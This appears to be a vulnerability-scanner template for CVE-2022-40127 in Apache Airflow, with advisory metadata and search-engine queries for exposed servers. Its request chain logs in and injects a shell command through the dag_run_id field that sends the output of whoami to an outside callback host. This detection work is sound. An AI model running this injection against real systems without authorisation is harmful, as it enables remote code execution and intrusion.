AirFlow < 2.4.0 - Remote Code Execution

id: CVE-2022-40127

info:
  name: AirFlow < 2.4.0 - Remote Code Execution
  author: DhiyaneshDk,ritikchaddha
  severity: high
  description: |
    A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/Mr-xn/CVE-2022-40127
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40127
    - http://www.openwall.com/lists/oss-security/2022/11/14/2
    - https://github.com/apache/airflow/pull/25960
    - https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-40127
    cwe-id: CWE-94
    epss-score: 0.85653
    epss-percentile: 0.99726
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: airflow
    shodan-query:
      - title:"Sign In - Airflow"
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - title="sign in - airflow"
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve,cve2022,airflow,rce,oast,authenticated,apache,vuln

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
      - |
        @timeout: 15s
        POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "conf": {
        "dag_run": "{{randstr}}"
        },
          "dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
          "logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"

        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'state": "queued"'

      - type: word
        part: interactsh_protocol
        words:
          - dns

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'type="hidden" value="(.*?)">'
        internal: true